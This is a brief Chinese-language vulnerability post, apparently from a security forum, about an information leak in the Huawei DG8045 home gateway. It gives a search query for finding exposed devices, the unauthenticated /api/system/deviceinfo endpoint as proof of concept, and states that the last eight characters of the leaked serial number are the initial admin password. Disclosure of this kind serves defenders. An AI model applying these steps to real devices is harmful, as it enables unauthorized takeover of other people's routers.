Huawei DG8045 deviceinfo 信息泄漏漏洞

# Huawei DG8045 deviceinfo 信息泄漏漏洞 ## 漏洞描述 Huawei DG8045 deviceinfo api接口存在信息泄漏漏洞,攻击者通过泄漏的信息可以获得账号密码登录后台 ## 漏洞影响 Huawe...

Huawei DG8045 deviceinfo 信息泄漏漏洞

漏洞描述

Huawei DG8045 deviceinfo api接口存在信息泄漏漏洞,攻击者通过泄漏的信息可以获得账号密码登录后台

漏洞影响

Huawei DG8045

网络测绘

app="DG8045-Home-Gateway-DG8045"

漏洞复现

登录页面

img

验证POC

/api/system/deviceinfo

img

SerialNumber 后8位即为初始密码

  • 发表于 2024-07-12 18:49:34
  • 阅读 ( 1860 )
  • 分类:网络设备

0 条评论

请先 登录 后评论
带头大哥
带头大哥

456 篇文章

站长统计